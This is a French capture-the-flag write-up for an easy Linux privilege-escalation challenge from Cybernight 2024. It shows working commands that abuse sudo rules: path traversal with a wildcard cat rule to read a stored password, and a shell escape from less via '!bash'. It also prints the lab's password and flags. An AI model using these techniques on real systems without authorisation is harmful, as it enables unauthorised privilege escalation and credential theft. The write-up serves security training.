Marche-Pied (1/2)
WriteUp d’un challenge créé par NozZy, dans la catégorie Système, de difficulté Facile (128 points) lors de la Cybernight 2024.
Le challenge était en 3 parties: Marche Pied, Escabot et Échelle. Il consistait en de multiple escalation de privilège.
Description
Bienvenue à cette introduction à l’escalade de privilèges sur système Linux !
Vous démarrez avec un compte symbolisé par une marche, et devez grimper les marches une par une jusqu’à arriver à la dernière disponible.
Chaque objet d’escalade possède un thème, qui vous sera utile à comprendre afin de grimper les marches !
Le marche-pied comporte trois marches : de marche1 à marche3 La dernière marche possède un flag dans ~/flag.txt
Le thème du marche-pied est : Switch User DO
User marche1 Password marche1
Write Up
Le titre du challenge semble nous indiquer un problème de configuration de sudo.
À chaque étape on peut vérifier la liste des commandes executable avec sudo -l
Marche 2
marche1@89d28291158f:~$ sudo -l
[...]
User marche1 may run the following commands on 89d28291158f:
(marche2) NOPASSWD: /bin/cat /home/marche2/config/*
À chaque étape, on peut vérifier la liste des commandes exécutables avec sudo -l
La configuration de marche 1 et les permissions des dossiers
ne nous restreignent pas dans le dossier ~marche2/config
.
On peut remonter dans l’arborescence et afficher le mot de passe de la marche2 :
sudo -u marche2 /bin/cat /home/marche2/config/../remember_password.txt
su marche2
# Password: WhatAStrongPasswordFormarche2
Marche 3
marche2@89d28291158f:~$ sudo -l
[...]
User marche2 may run the following commands on 89d28291158f:
(marche3) NOPASSWD: /bin/less /home/marche3/message.txt
On peut ouvrir un shell grâce à less :
sudo -u marche3 /bin/less /home/marche3/message.txt
# On tape !bash
marche3@a4a49ab0eaaf4c60:~$ ls
flag.txt message.txt
marche3@a4a49ab0eaaf4c60:~$ cat flag.txt
CYBN{...}
marche3@a4a49ab0eaaf4c60:~$ cat message.txt
Here is an important message for everyone: I got ratioed.
I may be absent from office for a couple of years. Thanks for your understanding.
CYBN{Mak3_SUr3_T0_coNF1Gur3_sUD0_C0rr3C7ly}